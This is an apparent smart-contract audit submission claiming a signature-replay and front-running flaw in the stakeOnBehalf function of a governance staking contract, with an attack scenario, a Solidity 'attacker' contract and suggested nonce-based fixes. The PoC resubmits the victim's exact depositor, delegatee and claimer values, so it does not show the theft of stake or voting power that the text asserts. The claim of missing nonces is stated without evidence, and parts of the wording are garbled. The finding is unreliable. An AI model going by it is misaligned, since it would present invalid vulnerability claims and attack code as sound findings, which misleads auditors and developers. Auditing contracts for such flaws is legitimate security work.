Petite Slate Orangutan
High
The stakeOnBehalf function in GovernanceStakerOnBehalf.sol is susceptible to replay attacks due to its reliance on signature validation without adequate safeguards.
https://github.com/sherlock-audit/2024-11-tally/blob/main/govstaking/src/extensions/GovernanceStakerOnBehalf.sol#L71-L99 Breakdown of the Issue:
Signature Replay: The function uses a user-provided signature to verify the legitimacy of the transaction. However, without incorporating mechanisms like a nonce, a unique transaction ID, or a time-based constraint beyond the _deadline, the signature can be replayed by an attacker. The absence of specific protections means that an attacker who observes the signed request can submit a similar transaction using the same signature, effectively "replaying" it. There is : Lack of Nonce or Unique Identifier Timestamp Reliance on _deadline Governance Risk
Attack Scenario: Attack Flow: A user signs a staking transaction and sends it to the contract for execution via the stakeOnBehalf function. An attacker monitors the mempool and notices the transaction, including the signature. Before the legitimate transaction is processed by the blockchain, the attacker replays the signature by submitting a similar transaction with a higher gas price, ensuring that theirs is mined first. The attacker successfully stakes the tokens, hijacking the governance power or rewards that were meant for the legitimate user. Potential Consequences: Unauthorized staking of tokens. Altered governance decisions due to shifted voting power. Loss of rewards intended for the legitimate user. Erosion of trust in the staking system due to the vulnerability.
High: This vulnerability poses a significant risk, especially in decentralized governance and staking systems. The potential to steal tokens, manipulate voting power, and disrupt rewards systems makes this vulnerability critical to address in order to maintain the integrity and trust of the protocol.
Assumptions: The Attacker's Visibility: The attacker can observe a valid stakeOnBehalf transaction in the mempool before it is mined (e.g., using a mempool scanner). Unchanged Parameters: The attacker knows the exact parameters (_amount, _delegatee, _claimer, _depositor) used in the original transaction. The Signature: The attacker has access to the signature that validates the staking request and can re-use it. PoC Implementation:
// Pseudo-code for the attacker (simplified)
pragma solidity ^0.8.0;
interface GovernanceStakerOnBehalf {
function stakeOnBehalf(
uint256 _amount,
address _delegatee,
address _claimer,
address _depositor,
uint256 _deadline,
bytes memory _signature
) external returns (uint256 _depositId);
}
contract Attacker {
GovernanceStakerOnBehalf public governanceStaker;
address public victim; // Victim address whose tokens are being stolen
constructor(address _governanceStaker) {
governanceStaker = GovernanceStakerOnBehalf(_governanceStaker);
}
// Function to exploit the front-running vulnerability
function frontRunStakeOnBehalf(
uint256 _amount,
address _delegatee,
address _claimer,
address _depositor,
uint256 _deadline,
bytes memory _signature
) external {
// Attacker mimics the parameters of the original staking request
// and submits the transaction with a higher gas price to front-run it
// Mimic the original staking request with the same parameters
uint256 depositId = governanceStaker.stakeOnBehalf(
_amount,
_delegatee,
_claimer,
_depositor,
_deadline,
_signature
);
// Log the depositId or take action (in real scenario, attacker might further manipulate governance)
emit FrontRunSuccess(depositId);
}
// Event to log a successful front-run
event FrontRunSuccess(uint256 depositId);
}
Manual Review
To prevent replay attacks, the contract should:
Include a nonce mechanism to uniquely identify each staking transaction. Use timestamp-based checks (beyond just the deadline) or randomized delays to make front-running more difficult. Implement a unique transaction ID that ties each stake to a specific instance, preventing its reuse.